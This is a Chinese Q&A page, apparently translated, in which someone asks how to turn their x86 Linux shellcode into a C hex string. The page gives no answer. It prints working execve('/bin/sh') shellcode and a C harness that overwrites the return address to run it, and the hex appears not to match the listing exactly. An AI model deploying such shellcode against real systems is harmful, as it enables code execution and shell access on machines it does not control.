将生成的 shellcode 转换为十六进制

问题描述

我编写了以下 shellcode,它生成了一个 shell。

global _start

_start:
        jmp short GotoCall

shellcode:
        pop             esi
        xor             eax,eax
        mov byte        [esi+7],al
        lea             ebx,[esi]
        mov long        [esi + 8],ebx
        mov long        [esi + 12],eax
        mov byte        al,0x0b
        mov             ebx,esi
        lea             ecx,[esi + 8]
        lea             edx,[esi + 12]
        int             0x80


GotoCall:
        call    shellcode
        db      '/bin/shJAAAAKKKK'

我用 nasm 组装了指令并将其与 ld 链接。 我希望汇编指令以十六进制表示,以便它们可以用以下 C 代码编写,其中变量 shellcode 包含上述十六进制的汇编指令。但是,手动执行此操作会很乏味,我想知道是否有快速的方法来执行此操作。

char shellcode[] = "\xeb\x18\x5e\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46"
                   "\x0c\xb0\x0b\x8d\x1e\x8d\x4e\x08\x8d\x56\x0c\xcd\x80"
                   "\xe8\xe3\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";
int main()
{
        int *ret;
        ret = (int *)&ret + 2;
        (*ret) = (int)shellcode;
}

解决方法

暂无找到可以解决该程序问题的有效方法,小编努力寻找整理中!

如果你已经找到好的解决方法,欢迎将解决方案带上本链接一起发送给小编。

小编邮箱:dio#foxmail.com (将#修改为@)

相关问答

错误1:Request method ‘DELETE‘ not supported 错误还原:...
错误1:启动docker镜像时报错:Error response from daemon:...
错误1:private field ‘xxx‘ is never assigned 按Alt...
报错如下,通过源不能下载,最后警告pip需升级版本 Requirem...